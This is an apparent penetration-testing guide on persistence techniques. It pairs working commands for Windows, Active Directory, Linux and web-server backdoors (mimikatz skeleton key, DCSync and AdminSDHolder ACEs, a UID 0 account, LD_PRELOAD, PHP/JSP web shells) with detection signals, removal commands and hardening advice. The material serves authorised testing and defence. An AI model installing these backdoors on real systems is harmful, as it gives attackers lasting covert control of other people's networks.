17 min read

Post-Exploitation

Persistence Techniques

Persistence is a durability question before it is a stealth question: choose the mechanism that survives the event the objective has to survive, then accept the artifact it leaves.

Danger

Every mechanism here outlives the engagement if it is forgotten. Persistence needs its own written authorisation — separate from the privilege-escalation that reached the host — and the tracker entry (technique, exact location, removal command) is written before the mechanism is installed, not when the report is drafted. Directory-side items below are harder still: an ACE on AdminSDHolder or a replication right survives a rebuild and will not be found by an incident responder looking at hosts.

What Survives What

Three events decide the choice. A reboot tests whether something re-reads the mechanism automatically; a password change tests whether it depends on a rotating secret; a rebuild tests whether the state is on the host at all — and only directory-side persistence passes that one.

Every mechanism leaves one artifact, and most are a single line in an Autoruns diff.

Mechanism Reboot Password change Host rebuild Artifact left
Registry Run key Yes Yes No Value under Run/RunOnce plus the payload file
Startup folder Yes Yes No A file or .lnk in the Startup path — nothing in the registry
Scheduled task Yes Yes No Task XML in System32\Tasks + registry key + 4698
Windows service Yes Yes No 7045 at install, then a Services registry key
WMI subscription Yes Yes No Filter, consumer and binding objects in root\subscription
COM hijack (HKCU) Yes Yes No A per-user CLSID key shadowing the machine one
Skeleton key No Yes No None on disk — an LSASS patch, so nothing to diff
AdminSDHolder ACE Yes Yes Yes An ACE on AdminSDHolder, copied to every protected account hourly
DSRM network logon Yes Yes No One Lsa registry value; the DSRM password rarely rotates
DCSync ACE on domain root Yes Yes Yes Replication rights held by an account that is not a DC
SSH authorized_keys Yes Yes No The key line and its fingerprint in sshd accepted-publickey logs
Cron entry Yes Yes No Crontab or a file in /etc/cron.d — journal records the run
systemd unit Yes Yes No Unit file + symlink in *.wants; no package owns it
Second UID 0 account Yes Partial No A second uid=0 line in /etc/passwd
Web shell Yes Yes Until redeploy A file in the webroot plus POSTs to it in the access log
Golden ticket Yes Until krbtgt ×2 Yes Nothing on the host — every use is a TGT with an anomalous lifetime

Windows User-Level Persistence

No admin needed, and no use if nobody logs in: these fire in one user's context and need the payload somewhere that user can write — the first thing an EDR rule checks.

Registry Run Keys

HKCU fires at that user's logon, HKLM at any logon and needs admin. Trivial to write and trivial to enumerate — a mechanism of last resort where a baseline exists.

HKCU-Run.ps1
# HKCU Run Keys (current user)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Users\Public\payload.exe"

# PowerShell
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "C:\Users\Public\payload.exe"

# Other Run locations
# HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# HKLM\Software\Microsoft\Windows\CurrentVersion\Run (requires admin)
# HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

Startup Folder

The same trigger with no registry footprint: Explorer runs what it finds at logon, and a single shortcut is the easiest mechanism on the page to remove again.

Startup-Folder.ps1
# User startup folder
copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"

# All users startup (requires admin)
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"

# Create shortcut
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.lnk")
$Shortcut.TargetPath = "C:\Users\Public\payload.exe"
$Shortcut.Save()

Scheduled Tasks (User)

The most durable user-level option, because the trigger is yours to choose and the Task Scheduler runs it whether or not anyone is at the console.

Scheduled-Task.ps1
# Create scheduled task
schtasks /create /tn "OneDrive Update" /tr "C:\Users\Public\payload.exe" /sc onlogon

# PowerShell scheduled task
$Action = New-ScheduledTaskAction -Execute "C:\Users\Public\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "OneDrive Update" -Action $Action -Trigger $Trigger

# Daily trigger
$Trigger = New-ScheduledTaskTrigger -Daily -At 9am
Register-ScheduledTask -TaskName "Maintenance" -Action $Action -Trigger $Trigger

Windows System-Level Persistence

System-level mechanisms run before anyone logs in, in a privileged context. That is more reliable and much louder: installing a service is one of the highest-signal events on an endpoint.

Windows Services

An automatic service starts at boot as LocalSystem. The artifact is the Services key and one 7045 at install — many SOCs alert on any 7045 that a deployment tool did not create.

Service-Persistence.ps1
# Create service
sc create "WinHelpSvc" binpath= "C:\ProgramData\WinHelp\svc.exe" start= auto

# Modify existing service
sc config servicename binpath= "C:\malicious.exe"

# PowerShell
New-Service -Name "WinUpdate" -BinaryPathName "C:\Windows\payload.exe" -DisplayName "Windows Update Service" -StartupType Automatic
Start-Service -Name "WinUpdate"

WMI Event Subscription

Three objects in root\subscription — filter, consumer, binding — which WMI recompiles at boot. Nothing runs until the filter's condition is met, so it is the quietest admin-level option, and all three objects are queryable.

WMI-Subscription.ps1
# Create WMI Event Filter
$FilterArgs = @{
    Name = 'WinUpdate'
    EventNameSpace = 'root\CimV2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs

# Create Consumer (execute payload)
$ConsumerArgs = @{
    Name = 'WinUpdate'
    CommandLineTemplate = 'C:\Windows\System32\cmd.exe /c C:\Users\Public\payload.exe'
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

# Bind Filter to Consumer
$BindingArgs = @{
    Filter = $Filter
    Consumer = $Consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs

DLL Search Order Hijacking

Execution rather than persistence on its own — it becomes persistence when the hijacked application starts at logon. The artifact is a DLL where the loader finds it before the real one.

DLL-Hijack-Notes.txt
# Find vulnerable applications
# Applications that load DLLs from writable paths

# Use Process Monitor to find:
# 1. NAME NOT FOUND results for DLL loads
# 2. Check if path is writable

# Common targets:
# - Software update utilities
# - Third-party applications
# - Custom enterprise applications

# Place malicious DLL in writable PATH location
# or application directory

COM Object Hijacking

HKCU\Software\Classes\CLSID shadows HKLM for that user, so re-registering an existing CLSID loads your DLL instead — no admin, and a per-user key for a machine-wide object.

COM-Hijack.ps1
# Find COM objects loaded by explorer
# HKCU\Software\Classes\CLSID\

# Example: Hijack a scheduled task COM handler
$CLSID = "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path $CLSID -Force
New-Item -Path "$CLSID\InprocServer32" -Force
Set-ItemProperty -Path "$CLSID\InprocServer32" -Name "(Default)" -Value "C:\malicious.dll"

Active Directory Persistence

The only group that survives a rebuild, because the state is in the directory rather than on a disk — and all of it is visible to anyone who reads the right attribute or ACL.

Skeleton Key

An LSASS patch on a DC that accepts a master password for any account: it survives every password reset and dies at reboot. With nothing on disk, it is found by integrity checks and by a logon no password should have produced.

skeleton-key.txt
# Inject skeleton key into LSASS (patch DC memory)
# Default password: "mimikatz"
mimikatz # privilege::debug
mimikatz # misc::skeleton

# Now authenticate to any account with "mimikatz"
# Requires DC restart to remove
# Does NOT persist across reboots

AdminSDHolder Abuse

SDProp copies the AdminSDHolder ACL onto every protected account hourly, so an ACE added there is re-applied even if someone removes it from the account you targeted. That re-propagation is both the mechanism and the tell.

AdminSDHolder.ps1
# AdminSDHolder is applied to protected groups every 60 min
# Add ACE to AdminSDHolder, propagates to protected accounts

# PowerShell - Add user to AdminSDHolder
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID
$AdminSDHolder = "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"

$ACL = Get-Acl $AdminSDHolder
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    "GenericAll",
    "Allow"
)
$ACL.AddAccessRule($ACE)
Set-Acl $AdminSDHolder $ACL

# Protected groups: Domain Admins, Enterprise Admins, Schema Admins, etc.

DSRM Backdoor

The DSRM password is set at promotion and almost never rotated. DsrmAdminLogonBehavior set to 2 lets that account authenticate over the network, turning a break-glass secret into a durable local-admin logon on the DC.

DSRM-Logon.ps1
# Enable DSRM account for network logon
# Directory Services Restore Mode password set during DC promotion

# Check DSRM registry
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior

# Enable network logon (requires admin on DC)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2

# Now can use DSRM password for:
# Administrator@dc01 (local admin, not domain)
sekurlsa::pth /domain:dc01 /user:Administrator /ntlm:DSRM_NTLM_HASH

Security Descriptor Modification

Granting replication rights to a normal account is the most durable option of all: the account keeps its ordinary appearance and the rights survive password rotation. DCSync itself is taught in 06d; this is the persistence half.

DCSync-ACE.ps1
# Add DCSync rights to user
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID

# Get domain root
$Domain = Get-ADDomain
$DomainDN = $Domain.DistinguishedName

# Grant DCSync rights (Replicating Directory Changes + All)
$ACL = Get-Acl "AD:\$DomainDN"
$ACE1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    "ExtendedRight",
    "Allow",
    [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"  # DS-Replication-Get-Changes
)
$ACE2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    "ExtendedRight",
    "Allow",
    [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"  # DS-Replication-Get-Changes-All
)
$ACL.AddAccessRule($ACE1)
$ACL.AddAccessRule($ACE2)
Set-Acl "AD:\$DomainDN" $ACL

Linux Persistence

There is no service registry, so every mechanism below is a file in a directory something reads automatically — and therefore a file-integrity question, not an event-log one.

SSH Keys

A public key needs no password, so it survives every rotation and is invisible to password policy. The artifact is the key line and its fingerprint in sshd's accepted-publickey log, which records use.

ssh-keys.sh
# Add SSH key to root
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Add to all users
for user in $(ls /home/); do
  mkdir -p /home/$user/.ssh
  echo "ssh-rsa AAAA..." >> /home/$user/.ssh/authorized_keys
  chown -R $user:$user /home/$user/.ssh
done

Cron Jobs

Survives reboot and runs as its owner, with no unit to enable. A job pointing at /tmp or a script with no package behind it is the signal, and /etc/cron.d is easier to forget than the root crontab.

cron.sh
# Root crontab
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/beacon.sh") | crontab -

# System cron
echo "*/5 * * * * root /tmp/beacon.sh" >> /etc/crontab

# Cron directories
echo '#!/bin/bash
/tmp/beacon.sh' > /etc/cron.daily/update
chmod +x /etc/cron.daily/update

Systemd Service

systemctl enable creates the symlink that starts the unit at boot, and Restart=always means killing the process is not removal.

systemd-unit.sh
# Create service file
cat > /etc/systemd/system/update.service << EOF
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/opt/beacon
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

# Enable and start
systemctl daemon-reload
systemctl enable update.service
systemctl start update.service

Backdoor User

Crude but durable — and one awk from being found. A password rotation locks it out unless you also leave a key, so use it to prove the control fails, not as a long-lived mechanism.

backdoor-user.sh
# Add user with root privileges
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash sysadmin
echo "sysadmin:P@ssw0rd123" | chpasswd

# Hide from /etc/passwd (add to bottom, some parsers stop early)
# Or use uid > 65000 to hide from some tools

LD_PRELOAD Hijacking

/etc/ld.so.preload is read for every binary on the system, so the library listed there runs in every new process — persistence with no service, cron entry or login. On most distributions the file should not exist at all.

ld-preload.sh
# Create malicious shared library
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <stdlib.h>

void _init() {
    system("/tmp/beacon.sh");
}
EOF

gcc -shared -fPIC -nostartfiles -o /usr/local/lib/libevil.so /tmp/evil.c
echo "/usr/local/lib/libevil.so" >> /etc/ld.so.preload

Web Server Persistence

Web Shells

Survives reboot, needs no credentials, and dies only when the application is redeployed from source — so it is right against a hand-managed server and wrong against a nightly pipeline. The artifact is the file plus POSTs to it.

webshell.txt
# PHP webshell
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); } ?>

# ASP.NET webshell - see documentation for full syntax
# Uses Page_Load handler with Request["cmd"] parameter

# JSP webshell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Tracking and Cleanup

The tracker is a deliverable: host, exact location, account, time created, the artefact it leaves and the command that removes it. If a mechanism cannot be described precisely enough to be removed, it should not go in — and the same row that records the location is what you hand the defender, because the removal command and the detection signal describe the same object from two sides.

Danger

A persistence mechanism left in place is a live backdoor in the client's estate, a legal liability for you, and — in the common case — the thing found six months later and reported as a breach.

Detection & Cleanup Reference

One row per mechanism: what it leaves behind, what fires when it runs, and how it comes out. Read the artefact column first — it is the one the client's file-integrity or registry baseline can see, and it usually exists before any event does.

Mechanism Artefact / where it lives Detection signal Removal
Registry Run key HKCU\...\Run\Update Sysmon 13 (Registry Value Set) reg delete "HKCU\...\Run" /v Update /f
Startup folder %APPDATA%\...\Startup\update.lnk Sysmon 11 (File Create) — rare in a managed estate, so alert on all of it Delete the shortcut
Scheduled task Task XML in System32\Tasks + 4698 4698 / 4699 / 4702 — a task whose action points at a user-writable binary schtasks /delete /tn "OneDrive Update" /f
Windows service Services registry key + 7045 at install 7045 — any install that is not from the deployment tooling sc stop WinHelpSvc && sc delete WinHelpSvc
WMI subscription Filter, consumer and binding in root\subscription Sysmon 19/20/21, 5857–5861; inventory the namespace, do not rely on telemetry alone Remove the filter, consumer and binding objects
COM hijack (HKCU) A per-user CLSID key shadowing the machine one Sysmon 13 — a per-user registration for a machine-wide object Delete the HKCU CLSID key
Skeleton key Nothing on disk — an LSASS patch 4624 for a logon no known password could produce, plus LSASS integrity on DCs Reboot the DC
AdminSDHolder ACE CN=AdminSDHolder,CN=System 5136 / 4662 — an ACE whose trustee is an ordinary user; SDProp re-applies it hourly Remove the ACE, then confirm it does not return
DSRM network logon One Lsa registry value; the password rarely rotates 4624 on a DC as its local Administrator, or DsrmAdminLogonBehavior not 0 Set DsrmAdminLogonBehavior back to 0, then rotate the DSRM password
DCSync rights Domain root ACL 4662 with the replication GUIDs, held or used by anything that is not a DC Remove both DS-Replication ACEs and verify with 4662
Golden / Diamond ticket Nothing on the host — every use is a TGT 4768 / 4769 with an anomalous lifetime, a missing PAC or a non-existent account Rotate krbtgt twice with replication in between
SSH authorized_keys A key line plus its fingerprint in sshd logs sshd accepted-publickey events for a key no one recognises Remove the line; confirm the fingerprint no longer logs in
Cron entry /etc/cron.d or a crontab; the journal records each run auditd on the cron directories; package ownership is the cheapest query rm /etc/cron.daily/update
systemd unit Unit file + symlink in *.wants; no package owns it auditd / AIDE on /etc/systemd/system systemctl disable --now update.service, then remove the unit
Second UID 0 account A second uid=0 line in /etc/passwd Package DB and /etc/passwd diff — a root-equivalent account nobody created userdel the account and its /etc/shadow entry
Web shell A file in the webroot plus POSTs in the access log A new file in the webroot; repeated POSTs to a path with no matching route Delete the file, then check for siblings

Evidence Collection

Artefact register: Host, exact location (registry path, task name, DN, file path), account it runs as, and the time it was created.

Survival proof: The test that justifies the mechanism: a reboot, a password change, or a rebuild — whichever the objective named, not all three.

Detection signal: The event or artefact the client’s tooling would have seen. A persistence finding without a detection path is a complaint, not a finding.

Removal command: The exact command, and its output showing the artefact gone.

CVSS range: Local persistence: 6.5–7.8 · directory-side persistence (DCSync rights, AdminSDHolder): 8.8–9.0.

False Positive Identification

  • A Run key from the vendor: Updaters and licence agents write these constantly. Compare against the software inventory before treating a value as yours.
  • A task with a familiar name: Task names are chosen by whoever created the task. Match on the action path and the author, not the name.
  • A per-user CLSID registration: Office and browser installers create these. The tell is a machine-wide object being shadowed for one user, not the key existing.
  • A second uid 0 account: Some images ship one (containers, recovery users). Check the package database and creation time before calling it a backdoor.
  • A web shell that is not a shell: A file under the webroot that returns 200 may be a leftover upload or a test harness. Confirm it executes a command you chose.
  • A service that reappears after deletion: Pending file operations and a reboot can leave the service entry visible. Verify after the reboot before reporting a failed cleanup.

Testing Checklist

Before installing anything

  • ☐ Confirm the objective authorises persistence, and for how long it must survive
  • ☐ Write the tracker row first: host, location, account, removal command
  • ☐ Decide which single event the mechanism must survive — reboot, password change or rebuild

After installing it

  • ☐ Prove the mechanism fires: run the payload once and show the execution
  • ☐ Run the survival test you named, once
  • ☐ Capture the artefact (registry export, file listing, ACL) as evidence
  • ☐ Remove it with the recorded command and confirm the artefact is absent
  • ☐ If it must stay for a later phase, set an explicit removal date with the client

Remediation & Hardening

Make the artefact rare

  • • Baseline Autoruns, scheduled tasks, services and WMI subscriptions so a new entry has something to differ from
  • • Alert on 7045 (service install) and 4698 (task creation) outside the deployment tooling
  • • Enable Sysmon 13 for registry writes and 19/20/21 for WMI subscription changes

Make the directory hostile

  • • Audit AdminSDHolder and the domain-root ACL for non-DC replication rights
  • • Rotate the DSRM password on every DC after any domain-level compromise, and keep DsrmAdminLogonBehavior at 0
  • • Tier 0 the directory so that a workstation cannot reach the objects these mechanisms need

Make cleanup provable

  • • Require the tracker row before the mechanism goes in, not after the finding is written
  • • Attach the removal output to the finding so the client can verify independently
  • • Schedule the removal date in the engagement plan, not in someone’s memory